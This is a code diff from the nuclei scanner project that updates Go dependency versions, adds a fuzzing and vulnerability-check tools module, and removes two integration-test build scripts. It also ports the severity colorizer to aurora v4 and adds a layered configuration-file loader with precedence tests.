github.com/pelletier/go-toml/v2 v2.0.8 // indirect
|
||||
github.com/perimeterx/marshmallow v1.1.5 // indirect
|
||||
github.com/pierrec/lz4/v4 v4.1.22 // indirect
|
||||
github.com/pjbgf/sha1cd v0.3.2 // indirect
|
||||
github.com/pierrec/lz4/v4 v4.1.23 // indirect
|
||||
github.com/pjbgf/sha1cd v0.6.0 // indirect
|
||||
github.com/pkg/browser v0.0.0-20240102092130-5ac0b6a4141c // indirect
|
||||
github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2 // indirect
|
||||
github.com/planetscale/vtprotobuf v0.6.1-0.20240319094008-0393e58bdf10 // indirect
|
||||
github.com/power-devops/perfstat v0.0.0-20240221224432-82ca36839d55 // indirect
|
||||
github.com/projectdiscovery/asnmap v1.1.1 // indirect
|
||||
github.com/projectdiscovery/blackrock v0.0.1 // indirect
|
||||
github.com/projectdiscovery/cdncheck v1.2.14 // indirect
|
||||
github.com/projectdiscovery/blackrock v0.0.2 // indirect
|
||||
github.com/projectdiscovery/cdncheck v1.2.50 // indirect
|
||||
github.com/projectdiscovery/freeport v0.0.7 // indirect
|
||||
github.com/projectdiscovery/ldapserver v1.0.2-0.20240219154113-dcc758ebc0cb // indirect
|
||||
github.com/projectdiscovery/machineid v0.0.0-20240226150047-2e2c51e35983 // indirect
|
||||
github.com/refraction-networking/utls v1.7.1 // indirect
|
||||
github.com/projectdiscovery/machineid v0.0.0-20250715113114-c77eb3567582 // indirect
|
||||
github.com/refraction-networking/utls v1.8.2 // indirect
|
||||
github.com/santhosh-tekuri/jsonschema/v6 v6.0.2 // indirect
|
||||
github.com/sashabaranov/go-openai v1.37.0 // indirect
|
||||
github.com/sergi/go-diff v1.3.2-0.20230802210424-5b0b94c5c0d3 // indirect
|
||||
github.com/shirou/gopsutil v3.21.11+incompatible // indirect
|
||||
github.com/shirou/gopsutil/v4 v4.25.7 // indirect
|
||||
github.com/shoenig/go-m1cpu v0.1.6 // indirect
|
||||
github.com/sirupsen/logrus v1.9.3 // indirect
|
||||
github.com/shirou/gopsutil/v4 v4.26.3 // indirect
|
||||
github.com/sirupsen/logrus v1.9.4 // indirect
|
||||
github.com/skeema/knownhosts v1.3.1 // indirect
|
||||
github.com/sorairolake/lzip-go v0.3.8 // indirect
|
||||
github.com/spf13/afero v1.15.0 // indirect
|
||||
github.com/tidwall/btree v1.7.0 // indirect
|
||||
github.com/tidwall/buntdb v1.3.1 // indirect
|
||||
github.com/spf13/pflag v1.0.10 // indirect
|
||||
github.com/spiffe/go-spiffe/v2 v2.6.0 // indirect
|
||||
github.com/tidwall/btree v1.8.1 // indirect
|
||||
github.com/tidwall/buntdb v1.3.2 // indirect
|
||||
github.com/tidwall/gjson v1.18.0 // indirect
|
||||
github.com/tidwall/grect v0.1.4 // indirect
|
||||
github.com/tidwall/match v1.2.0 // indirect
|
||||
@@ -348,8 +350,8 @@ require (
|
||||
github.com/tidwall/rtred v0.1.2 // indirect
|
||||
github.com/tidwall/tinyqueue v0.1.1 // indirect
|
||||
github.com/tim-ywliu/nested-logrus-formatter v1.3.2 // indirect
|
||||
github.com/tklauser/go-sysconf v0.3.15 // indirect
|
||||
github.com/tklauser/numcpus v0.10.0 // indirect
|
||||
github.com/tklauser/go-sysconf v0.3.16 // indirect
|
||||
github.com/tklauser/numcpus v0.11.0 // indirect
|
||||
github.com/tmthrgd/go-hex v0.0.0-20190904060850-447a3041c3bc // indirect
|
||||
github.com/twitchyliquid64/golang-asm v0.15.1 // indirect
|
||||
github.com/ugorji/go/codec v1.2.11 // indirect
|
||||
@@ -372,20 +374,22 @@ require (
|
||||
github.com/youmark/pkcs8 v0.0.0-20240726163527-a2c0da244d78 // indirect
|
||||
github.com/ysmood/fetchup v0.2.3 // indirect
|
||||
github.com/ysmood/got v0.40.0 // indirect
|
||||
github.com/yuin/goldmark v1.7.13 // indirect
|
||||
github.com/yuin/goldmark-emoji v1.0.5 // indirect
|
||||
github.com/zcalusic/sysinfo v1.0.2 // indirect
|
||||
github.com/zeebo/blake3 v0.2.3 // indirect
|
||||
go.opentelemetry.io/auto/sdk v1.1.0 // indirect
|
||||
go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.62.0 // indirect
|
||||
go.opentelemetry.io/otel v1.38.0 // indirect
|
||||
go.opentelemetry.io/otel/metric v1.38.0 // indirect
|
||||
go.opentelemetry.io/otel/trace v1.38.0 // indirect
|
||||
github.com/yuin/goldmark v1.7.17 // indirect
|
||||
github.com/yuin/goldmark-emoji v1.0.6 // indirect
|
||||
github.com/zcalusic/sysinfo v1.1.3 // indirect
|
||||
github.com/zeebo/blake3 v0.2.4 // indirect
|
||||
go.opentelemetry.io/auto/sdk v1.2.1 // indirect
|
||||
go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.68.0 // indirect
|
||||
go.opentelemetry.io/otel v1.44.0 // indirect
|
||||
go.opentelemetry.io/otel/metric v1.44.0 // indirect
|
||||
go.opentelemetry.io/otel/trace v1.44.0 // indirect
|
||||
go.uber.org/zap/exp v0.3.0 // indirect
|
||||
go.yaml.in/yaml/v3 v3.0.5 // indirect
|
||||
go4.org v0.0.0-20230225012048-214862532bf5 // indirect
|
||||
golang.org/x/arch v0.3.0 // indirect
|
||||
golang.org/x/sync v0.18.0 // indirect
|
||||
gopkg.in/djherbis/times.v1 v1.3.0 // indirect
|
||||
google.golang.org/genproto/googleapis/rpc v0.0.0-20260414002931-afd174a4e478 // indirect
|
||||
mellium.im/sasl v0.3.2 // indirect
|
||||
software.sslmate.com/src/go-pkcs12 v0.7.2 // indirect
|
||||
)
|
||||
|
||||
require (
|
||||
@@ -403,17 +407,17 @@ require (
|
||||
github.com/ysmood/leakless v0.9.0 // indirect
|
||||
github.com/yusufpapurcu/wmi v1.2.4 // indirect
|
||||
github.com/zmap/rc2 v0.0.0-20190804163417-abaa70531248 // indirect
|
||||
github.com/zmap/zcrypto v0.0.0-20240512203510-0fef58d9a9db // indirect
|
||||
go.etcd.io/bbolt v1.4.0 // indirect
|
||||
github.com/zmap/zcrypto v0.0.0-20240803002437-3a861682ac77 // indirect
|
||||
go.etcd.io/bbolt v1.4.3 // indirect
|
||||
go.uber.org/zap v1.27.0 // indirect
|
||||
goftp.io/server/v2 v2.0.1 // indirect
|
||||
golang.org/x/crypto v0.45.0 // indirect
|
||||
golang.org/x/exp v0.0.0-20250911091902-df9299821621
|
||||
golang.org/x/mod v0.29.0 // indirect
|
||||
golang.org/x/sys v0.38.0 // indirect
|
||||
golang.org/x/crypto v0.54.0 // indirect
|
||||
golang.org/x/exp v0.0.0-20260527015227-08cc5374adb3
|
||||
golang.org/x/mod v0.37.0 // indirect
|
||||
golang.org/x/sys v0.47.0 // indirect
|
||||
golang.org/x/time v0.14.0 // indirect
|
||||
golang.org/x/tools v0.38.0
|
||||
google.golang.org/protobuf v1.36.6 // indirect
|
||||
golang.org/x/tools v0.47.0
|
||||
google.golang.org/protobuf v1.36.11
|
||||
gopkg.in/alecthomas/kingpin.v2 v2.2.6 // indirect
|
||||
gopkg.in/corvus-ch/zbase32.v1 v1.0.0 // indirect
|
||||
)
|
||||
|
||||
+21
@@ -0,0 +1,21 @@
|
||||
module nuclei-tools
|
||||
|
||||
go 1.26.1
|
||||
|
||||
tool (
|
||||
github.com/dvyukov/go-fuzz/go-fuzz
|
||||
github.com/dvyukov/go-fuzz/go-fuzz-build
|
||||
golang.org/x/vuln/cmd/govulncheck
|
||||
)
|
||||
|
||||
require (
|
||||
github.com/dvyukov/go-fuzz v0.0.0-20240924070022-e577bee5275c // indirect
|
||||
github.com/elazarl/go-bindata-assetfs v1.0.1 // indirect
|
||||
github.com/stephens2424/writerset v1.0.2 // indirect
|
||||
golang.org/x/mod v0.34.0 // indirect
|
||||
golang.org/x/sync v0.20.0 // indirect
|
||||
golang.org/x/sys v0.42.0 // indirect
|
||||
golang.org/x/telemetry v0.0.0-20260311193753-579e4da9a98c // indirect
|
||||
golang.org/x/tools v0.43.0 // indirect
|
||||
golang.org/x/vuln v1.1.4 // indirect
|
||||
)
|
||||
+24
@@ -0,0 +1,24 @@
|
||||
github.com/Julusian/godocdown v0.0.0-20170816220326-6d19f8ff2df8/go.mod h1:INZr5t32rG59/5xeltqoCJoNY7e5x/3xoY9WSWVWg74=
|
||||
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/dvyukov/go-fuzz v0.0.0-20240924070022-e577bee5275c h1:oLpHpHwNuAPvw3bBviEZNrJbigNNi5dRadfZnagGgZI=
|
||||
github.com/dvyukov/go-fuzz v0.0.0-20240924070022-e577bee5275c/go.mod h1:11Gm+ccJnvAhCNLlf5+cS9KjtbaD5I5zaZpFMsTHWTw=
|
||||
github.com/elazarl/go-bindata-assetfs v1.0.1 h1:m0kkaHRKEu7tUIUFVwhGGGYClXvyl4RE03qmvRTNfbw=
|
||||
github.com/elazarl/go-bindata-assetfs v1.0.1/go.mod h1:v+YaWX3bdea5J/mo8dSETolEo7R71Vk1u8bnjau5yw4=
|
||||
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
||||
github.com/robertkrimen/godocdown v0.0.0-20130622164427-0bfa04905481/go.mod h1:C9WhFzY47SzYBIvzFqSvHIR6ROgDo4TtdTuRaOMjF/s=
|
||||
github.com/stephens2424/writerset v1.0.2 h1:znRLgU6g8RS5euYRcy004XeE4W+Tu44kALzy7ghPif8=
|
||||
github.com/stephens2424/writerset v1.0.2/go.mod h1:aS2JhsMn6eA7e82oNmW4rfsgAOp9COBTTl8mzkwADnc=
|
||||
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
|
||||
github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
|
||||
golang.org/x/mod v0.34.0 h1:xIHgNUUnW6sYkcM5Jleh05DvLOtwc6RitGHbDk4akRI=
|
||||
golang.org/x/mod v0.34.0/go.mod h1:ykgH52iCZe79kzLLMhyCUzhMci+nQj+0XkbXpNYtVjY=
|
||||
golang.org/x/sync v0.20.0 h1:e0PTpb7pjO8GAtTs2dQ6jYa5BWYlMuX047Dco/pItO4=
|
||||
golang.org/x/sync v0.20.0/go.mod h1:9xrNwdLfx4jkKbNva9FpL6vEN7evnE43NNNJQ2LF3+0=
|
||||
golang.org/x/sys v0.42.0 h1:omrd2nAlyT5ESRdCLYdm3+fMfNFE/+Rf4bDIQImRJeo=
|
||||
golang.org/x/sys v0.42.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw=
|
||||
golang.org/x/telemetry v0.0.0-20260311193753-579e4da9a98c h1:6a8FdnNk6bTXBjR4AGKFgUKuo+7GnR3FX5L7CbveeZc=
|
||||
golang.org/x/telemetry v0.0.0-20260311193753-579e4da9a98c/go.mod h1:TpUTTEp9frx7rTdLpC9gFG9kdI7zVLFTFFlqaH2Cncw=
|
||||
golang.org/x/tools v0.43.0 h1:12BdW9CeB3Z+J/I/wj34VMl8X+fEXBxVR90JeMX5E7s=
|
||||
golang.org/x/tools v0.43.0/go.mod h1:uHkMso649BX2cZK6+RpuIPXS3ho2hZo4FVwfoy1vIk0=
|
||||
golang.org/x/vuln v1.1.4 h1:Ju8QsuyhX3Hk8ma3CesTbO8vfJD9EvUBgHvkxHBzj0I=
|
||||
golang.org/x/vuln v1.1.4/go.mod h1:F+45wmU18ym/ca5PLTPLsSzr2KppzswxPP603ldA67s=
|
||||
@@ -1,51 +0,0 @@
|
||||
#!/bin/bash
|
||||
|
||||
if [ $1 = "-h" ]; then
|
||||
echo "Help for ./debug.sh"
|
||||
printf "\n1. To run all integration tests of 'x' protocol:\n"
|
||||
printf " \$ ./debug.sh http\n\n"
|
||||
printf "2. To run all integration tests of 'x' protocol that contains 'y' in template name:\n"
|
||||
printf " \$ ./debug.sh http self\n\n"
|
||||
printf "3. To run all integration tests of 'x' protocol that contains 'y' in template name and pass extra args to nuclei:\n"
|
||||
printf " \$ ./debug.sh http self -svd -debug-req\n\n"
|
||||
printf "nuclei binary is created every time script is run but integration-test binary is not"
|
||||
exit 0
|
||||
fi
|
||||
|
||||
# Stop execution if race condition is found
|
||||
export GORACE="halt_on_error=1"
|
||||
|
||||
echo "::group::Build nuclei"
|
||||
rm nuclei 2>/dev/null
|
||||
cd ../cmd/nuclei
|
||||
go build -race .
|
||||
mv nuclei ../../integration_tests/nuclei
|
||||
echo -e "::endgroup::\n"
|
||||
cd ../../integration_tests
|
||||
cmdstring=""
|
||||
|
||||
if [ -n "$1" ]; then
|
||||
cmdstring+=" -protocol $1 "
|
||||
fi
|
||||
|
||||
if [ -n "$2" ]; then
|
||||
cmdstring+=" -template $2 "
|
||||
fi
|
||||
|
||||
# Parse any extra args that are directly passed to nuclei
|
||||
if [ -n $debugArgs ]; then
|
||||
export DebugExtraArgs="${@:3}"
|
||||
fi
|
||||
|
||||
echo "$DebugExtraArgs"
|
||||
|
||||
echo -e "::group::Run Integration Test\n"
|
||||
./integration-test $cmdstring
|
||||
|
||||
if [ $? -eq 0 ]
|
||||
then
|
||||
echo -e "::endgroup::\n"
|
||||
exit 0
|
||||
else
|
||||
exit 1
|
||||
fi
|
||||
@@ -1,27 +0,0 @@
|
||||
#!/bin/bash
|
||||
|
||||
echo "::group::Build nuclei"
|
||||
rm integration-test fuzzplayground nuclei 2>/dev/null
|
||||
cd ../cmd/nuclei
|
||||
go build -race .
|
||||
mv nuclei ../../integration_tests/nuclei
|
||||
echo "::endgroup::"
|
||||
|
||||
echo "::group::Build nuclei integration-test"
|
||||
cd ../integration-test
|
||||
go build
|
||||
mv integration-test ../../integration_tests/integration-test
|
||||
cd ../../integration_tests
|
||||
echo "::endgroup::"
|
||||
|
||||
echo "::group::Installing nuclei templates"
|
||||
./nuclei -update-templates
|
||||
echo "::endgroup::"
|
||||
|
||||
./integration-test
|
||||
if [ $? -eq 0 ]
|
||||
then
|
||||
exit 0
|
||||
else
|
||||
exit 1
|
||||
fi
|
||||
@@ -3,16 +3,16 @@ package colorizer
|
||||
import (
|
||||
"fmt"
|
||||
|
||||
"github.com/logrusorgru/aurora"
|
||||
"github.com/logrusorgru/aurora/v4"
|
||||
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity"
|
||||
)
|
||||
|
||||
const (
|
||||
fgOrange uint8 = 208
|
||||
fgOrange aurora.ColorIndex = 208
|
||||
)
|
||||
|
||||
func GetColor(colorizer aurora.Aurora, templateSeverity fmt.Stringer) string {
|
||||
func GetColor(colorizer *aurora.Aurora, templateSeverity fmt.Stringer) string {
|
||||
var method func(arg interface{}) aurora.Value
|
||||
switch templateSeverity {
|
||||
case severity.Info:
|
||||
@@ -32,7 +32,7 @@ func GetColor(colorizer aurora.Aurora, templateSeverity fmt.Stringer) string {
|
||||
return method(templateSeverity.String()).String()
|
||||
}
|
||||
|
||||
func New(colorizer aurora.Aurora) func(severity.Severity) string {
|
||||
func New(colorizer *aurora.Aurora) func(severity.Severity) string {
|
||||
return func(severity severity.Severity) string {
|
||||
return GetColor(colorizer, severity)
|
||||
}
|
||||
|
||||
@@ -0,0 +1,198 @@
|
||||
package configuration
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"slices"
|
||||
|
||||
"github.com/adrg/xdg"
|
||||
"github.com/projectdiscovery/goflags"
|
||||
catalogconfig "github.com/projectdiscovery/nuclei/v3/pkg/catalog/config"
|
||||
)
|
||||
|
||||
// Selection contains the config and profile selected for one invocation.
|
||||
type Selection struct {
|
||||
Config string
|
||||
Profile string
|
||||
}
|
||||
|
||||
// Load applies automatic config files, one selected config file, and one
|
||||
// selected profile in priority order. Explicit CLI flags retain precedence.
|
||||
func Load(
|
||||
cfg *catalogconfig.Config,
|
||||
flagSet *goflags.FlagSet,
|
||||
selected *Selection,
|
||||
resolveProfile func(string) (string, error),
|
||||
args ...string,
|
||||
) ([]error, error) {
|
||||
userConfigFile := cfg.GetFlagsConfigFilePath()
|
||||
defaultUserConfigFile := filepath.Join(xdg.ConfigHome, catalogconfig.BinaryName, catalogconfig.CLIConfigFileName)
|
||||
automaticFiles := automaticConfigFiles(xdg.ConfigDirs, runtime.GOOS, userConfigFile)
|
||||
|
||||
return loadConfigFiles(userConfigFile, defaultUserConfigFile, automaticFiles, flagSet, selected, resolveProfile, args...)
|
||||
}
|
||||
|
||||
func loadConfigFiles(
|
||||
userConfigFile string,
|
||||
defaultUserConfigFile string,
|
||||
automaticFiles []string,
|
||||
flagSet *goflags.FlagSet,
|
||||
selected *Selection,
|
||||
resolveProfile func(string) (string, error),
|
||||
args ...string,
|
||||
) ([]error, error) {
|
||||
|
||||
var warnings []error
|
||||
if err := prepareUserConfigFile(userConfigFile, defaultUserConfigFile); err != nil {
|
||||
warnings = append(warnings, err)
|
||||
}
|
||||
|
||||
flagSet.SetConfigFilePaths(automaticFiles...)
|
||||
if err := flagSet.Parse(args...); err != nil {
|
||||
warnings = append(warnings, fmt.Errorf("automatic configuration was ignored: %w", err))
|
||||
}
|
||||
|
||||
if err := mergeSelectedFiles(flagSet, selected, resolveProfile); err != nil {
|
||||
return warnings, err
|
||||
}
|
||||
|
||||
return warnings, nil
|
||||
}
|
||||
|
||||
func mergeSelectedFiles(
|
||||
flagSet *goflags.FlagSet,
|
||||
selected *Selection,
|
||||
resolveProfile func(string) (string, error),
|
||||
) error {
|
||||
configFile := selected.Config
|
||||
if configFile != "" {
|
||||
if err := flagSet.MergeConfigFile(configFile); err != nil {
|
||||
return fmt.Errorf("read config file %q: %w", configFile, err)
|
||||
}
|
||||
|
||||
// A selected config may choose a profile, but it cannot redirect its
|
||||
// completed config stage.
|
||||
selected.Config = configFile
|
||||
}
|
||||
|
||||
if selected.Profile == "" {
|
||||
return nil
|
||||
}
|
||||
|
||||
profileFile, err := resolveProfile(selected.Profile)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if err := flagSet.MergeConfigFile(profileFile); err != nil {
|
||||
return fmt.Errorf("read template profile %q: %w", profileFile, err)
|
||||
}
|
||||
|
||||
// A profile cannot redirect either completed file-selection stage.
|
||||
selected.Config = configFile
|
||||
selected.Profile = profileFile
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func automaticConfigFiles(configDirs []string, goos, userConfigFile string) []string {
|
||||
highestFirst := make([]string, 0, len(configDirs)+2)
|
||||
highestFirst = append(highestFirst, userConfigFile)
|
||||
|
||||
if unixSystemFile := unixSystemConfigFilePath(goos); unixSystemFile != "" {
|
||||
highestFirst = append(highestFirst, unixSystemFile)
|
||||
}
|
||||
|
||||
for _, configDir := range configDirs {
|
||||
if filepath.IsAbs(configDir) {
|
||||
highestFirst = append(highestFirst, filepath.Join(configDir, catalogconfig.BinaryName, catalogconfig.CLIConfigFileName))
|
||||
}
|
||||
}
|
||||
|
||||
files := make([]string, 0, len(highestFirst))
|
||||
seen := make(map[string]struct{}, len(highestFirst))
|
||||
|
||||
for _, file := range highestFirst {
|
||||
if file == "" {
|
||||
continue
|
||||
}
|
||||
|
||||
cleanFile := filepath.Clean(file)
|
||||
if _, exists := seen[cleanFile]; exists {
|
||||
continue
|
||||
}
|
||||
|
||||
seen[cleanFile] = struct{}{}
|
||||
files = append(files, file)
|
||||
}
|
||||
|
||||
slices.Reverse(files)
|
||||
|
||||
return files
|
||||
}
|
||||
|
||||
func unixSystemConfigFilePath(goos string) string {
|
||||
switch goos {
|
||||
case "aix", "darwin", "dragonfly", "freebsd", "linux", "netbsd", "openbsd", "solaris":
|
||||
return path.Join("/etc", catalogconfig.BinaryName, catalogconfig.CLIConfigFileName)
|
||||
default:
|
||||
return ""
|
||||
}
|
||||
}
|
||||
|
||||
func prepareUserConfigFile(configFile, defaultConfigFile string) error {
|
||||
if filepath.Clean(configFile) == filepath.Clean(defaultConfigFile) {
|
||||
return nil
|
||||
}
|
||||
|
||||
if _, err := os.Stat(configFile); err == nil {
|
||||
return nil
|
||||
} else if !errors.Is(err, os.ErrNotExist) {
|
||||
return fmt.Errorf("inspect custom config file %q: %w", configFile, err)
|
||||
}
|
||||
|
||||
data, err := os.ReadFile(defaultConfigFile)
|
||||
if errors.Is(err, os.ErrNotExist) {
|
||||
return nil
|
||||
}
|
||||
if err != nil {
|
||||
return fmt.Errorf("read default config file %q: %w", defaultConfigFile, err)
|
||||
}
|
||||
|
||||
if err := os.MkdirAll(filepath.Dir(configFile), 0o700); err != nil {
|
||||
return fmt.Errorf("create custom config directory %q: %w", filepath.Dir(configFile), err)
|
||||
}
|
||||
|
||||
file, err := os.OpenFile(configFile, os.O_WRONLY|os.O_CREATE|os.O_EXCL, 0o600)
|
||||
if errors.Is(err, os.ErrExist) {
|
||||
return nil
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
return fmt.Errorf("create custom config file %q: %w", configFile, err)
|
||||
}
|
||||
|
||||
written := false
|
||||
|
||||
defer func() {
|
||||
_ = file.Close()
|
||||
if !written {
|
||||
_ = os.Remove(configFile)
|
||||
}
|
||||
}()
|
||||
|
||||
if _, err := file.Write(data); err != nil {
|
||||
return fmt.Errorf("copy default config from %q to %q: %w", defaultConfigFile, configFile, err)
|
||||
}
|
||||
|
||||
if err := file.Close(); err != nil {
|
||||
return fmt.Errorf("close custom config file %q: %w", configFile, err)
|
||||
}
|
||||
|
||||
written = true
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,443 @@
|
||||
package configuration
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"slices"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/projectdiscovery/goflags"
|
||||
catalogconfig "github.com/projectdiscovery/nuclei/v3/pkg/catalog/config"
|
||||
)
|
||||
|
||||
func TestConfigurationPrecedence(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
preferredSystemDir := filepath.Join(dir, "preferred-system")
|
||||
fallbackSystemDir := filepath.Join(dir, "fallback-system")
|
||||
preferredSystemPath := filepath.Join(preferredSystemDir, catalogconfig.BinaryName, catalogconfig.CLIConfigFileName)
|
||||
fallbackSystemPath := filepath.Join(fallbackSystemDir, catalogconfig.BinaryName, catalogconfig.CLIConfigFileName)
|
||||
unixSystemPath := filepath.Join(dir, "etc", catalogconfig.BinaryName, catalogconfig.CLIConfigFileName)
|
||||
userPath := filepath.Join(dir, "user.yaml")
|
||||
explicitPath := filepath.Join(dir, "explicit.yaml")
|
||||
profilePath := filepath.Join(dir, "profile.yaml")
|
||||
|
||||
writeConfigFile(t, fallbackSystemPath, `
|
||||
fallback-only: fallback
|
||||
preferred-wins: fallback
|
||||
local-wins: fallback
|
||||
user-wins: fallback
|
||||
explicit-wins: fallback
|
||||
profile-wins: fallback
|
||||
cli-wins: fallback
|
||||
default-wins: fallback
|
||||
config: ignored.yaml
|
||||
profile: ignored.yaml
|
||||
`)
|
||||
writeConfigFile(t, preferredSystemPath, `
|
||||
preferred-wins: preferred
|
||||
local-wins: preferred
|
||||
user-wins: preferred
|
||||
explicit-wins: preferred
|
||||
profile-wins: preferred
|
||||
cli-wins: preferred
|
||||
default-wins: preferred
|
||||
`)
|
||||
writeConfigFile(t, unixSystemPath, `
|
||||
local-wins: local
|
||||
user-wins: local
|
||||
explicit-wins: local
|
||||
profile-wins: local
|
||||
cli-wins: local
|
||||
default-wins: local
|
||||
`)
|
||||
writeConfigFile(t, userPath, fmt.Sprintf(`
|
||||
user-wins: user
|
||||
explicit-wins: user
|
||||
profile-wins: user
|
||||
cli-wins: user
|
||||
default-wins: user
|
||||
config: %q
|
||||
profile: ignored-user.yaml
|
||||
`, explicitPath))
|
||||
writeConfigFile(t, explicitPath, fmt.Sprintf(`
|
||||
explicit-wins: explicit
|
||||
profile-wins: explicit
|
||||
cli-wins: explicit
|
||||
default-wins: explicit
|
||||
profile: %q
|
||||
`, profilePath))
|
||||
writeConfigFile(t, profilePath, `
|
||||
profile-wins: profile
|
||||
cli-wins: profile
|
||||
default-wins: profile
|
||||
`)
|
||||
|
||||
var fallbackOnly, preferredWins, localWins, userWins, explicitWins, profileWins, cliWins, defaultWins string
|
||||
var selected Selection
|
||||
flagSet := goflags.NewFlagSet()
|
||||
flagSet.StringVar(&fallbackOnly, "fallback-only", "built-in", "")
|
||||
flagSet.StringVar(&preferredWins, "preferred-wins", "built-in", "")
|
||||
flagSet.StringVar(&localWins, "local-wins", "built-in", "")
|
||||
flagSet.StringVar(&userWins, "user-wins", "built-in", "")
|
||||
flagSet.StringVar(&explicitWins, "explicit-wins", "built-in", "")
|
||||
flagSet.StringVar(&profileWins, "profile-wins", "built-in", "")
|
||||
flagSet.StringVar(&cliWins, "cli-wins", "built-in", "")
|
||||
flagSet.StringVar(&defaultWins, "default-wins", "built-in", "")
|
||||
flagSet.StringVar(&selected.Config, "config", "", "")
|
||||
flagSet.StringVar(&selected.Profile, "profile", "", "")
|
||||
|
||||
automaticFiles := []string{fallbackSystemPath, preferredSystemPath, unixSystemPath, userPath}
|
||||
automaticErr, err := loadTestFlags(flagSet, automaticFiles, &selected, existingProfilePath, "-cli-wins=cli", "-default-wins=built-in")
|
||||
if err != nil {
|
||||
t.Fatalf("load configuration failed: %v", err)
|
||||
}
|
||||
if automaticErr != nil {
|
||||
t.Fatalf("automatic configuration failed: %v", automaticErr)
|
||||
}
|
||||
|
||||
assertEqual(t, "fallback-only", fallbackOnly, "fallback")
|
||||
assertEqual(t, "preferred-wins", preferredWins, "preferred")
|
||||
assertEqual(t, "local-wins", localWins, "local")
|
||||
assertEqual(t, "user-wins", userWins, "user")
|
||||
assertEqual(t, "explicit-wins", explicitWins, "explicit")
|
||||
assertEqual(t, "profile-wins", profileWins, "profile")
|
||||
assertEqual(t, "cli-wins", cliWins, "cli")
|
||||
assertEqual(t, "default-wins", defaultWins, "built-in")
|
||||
assertEqual(t, "selected config", selected.Config, explicitPath)
|
||||
assertEqual(t, "selected profile", selected.Profile, profilePath)
|
||||
}
|
||||
|
||||
func TestAutomaticConfigFiles(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
preferredSystemDir := filepath.Join(dir, "preferred")
|
||||
fallbackSystemDir := filepath.Join(dir, "fallback")
|
||||
userConfigDir := filepath.Join(dir, "user")
|
||||
preferredSystemFile := filepath.Join(preferredSystemDir, catalogconfig.BinaryName, catalogconfig.CLIConfigFileName)
|
||||
fallbackSystemFile := filepath.Join(fallbackSystemDir, catalogconfig.BinaryName, catalogconfig.CLIConfigFileName)
|
||||
userConfigFile := filepath.Join(userConfigDir, catalogconfig.BinaryName, catalogconfig.CLIConfigFileName)
|
||||
unixSystemFile := unixSystemConfigFilePath("linux")
|
||||
|
||||
got := automaticConfigFiles([]string{preferredSystemDir, "relative-system", fallbackSystemDir}, "linux", userConfigFile)
|
||||
want := []string{
|
||||
fallbackSystemFile,
|
||||
preferredSystemFile,
|
||||
unixSystemFile,
|
||||
userConfigFile,
|
||||
}
|
||||
if !slices.Equal(got, want) {
|
||||
t.Fatalf("automatic config files = %v, want %v", got, want)
|
||||
}
|
||||
|
||||
got = automaticConfigFiles([]string{preferredSystemDir, "/etc", userConfigDir}, "linux", userConfigFile)
|
||||
want = []string{
|
||||
preferredSystemFile,
|
||||
unixSystemFile,
|
||||
userConfigFile,
|
||||
}
|
||||
if !slices.Equal(got, want) {
|
||||
t.Fatalf("automatic config files with duplicate system paths = %v, want %v", got, want)
|
||||
}
|
||||
|
||||
got = automaticConfigFiles([]string{preferredSystemDir, "/etc"}, "linux", unixSystemFile)
|
||||
want = []string{
|
||||
preferredSystemFile,
|
||||
unixSystemFile,
|
||||
}
|
||||
if !slices.Equal(got, want) {
|
||||
t.Fatalf("automatic config files with Unix path used as user path = %v, want %v", got, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestHigherPriorityFilesReplaceCollections(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
systemPath := filepath.Join(dir, "system.yaml")
|
||||
userPath := filepath.Join(dir, "user.yaml")
|
||||
explicitPath := filepath.Join(dir, "explicit.yaml")
|
||||
profilePath := filepath.Join(dir, "profile.yaml")
|
||||
|
||||
writeConfigFile(t, systemPath, "replace: [system-a, system-b]\nclear: [system]\nvar: [system=one]\n")
|
||||
writeConfigFile(t, userPath, fmt.Sprintf("replace: [user]\nclear: [user]\nvar: [user=two]\nconfig: %q\n", explicitPath))
|
||||
writeConfigFile(t, explicitPath, fmt.Sprintf("replace: [explicit-a, explicit-b]\nclear: [explicit]\nvar: [explicit=three]\nprofile: %q\n", profilePath))
|
||||
writeConfigFile(t, profilePath, "replace: [profile]\nclear: []\nvar: [profile=four]\n")
|
||||
|
||||
var replace, clear goflags.StringSlice
|
||||
var variables goflags.RuntimeMap
|
||||
var selected Selection
|
||||
flagSet := goflags.NewFlagSet()
|
||||
flagSet.StringSliceVar(&replace, "replace", nil, "", goflags.StringSliceOptions)
|
||||
flagSet.StringSliceVar(&clear, "clear", nil, "", goflags.StringSliceOptions)
|
||||
flagSet.RuntimeMapVar(&variables, "var", nil, "")
|
||||
flagSet.StringVar(&selected.Config, "config", "", "")
|
||||
flagSet.StringVar(&selected.Profile, "profile", "", "")
|
||||
|
||||
automaticErr, err := loadTestFlags(flagSet, []string{systemPath, userPath}, &selected, existingProfilePath, "-config="+explicitPath)
|
||||
if err != nil {
|
||||
t.Fatalf("load configuration failed: %v", err)
|
||||
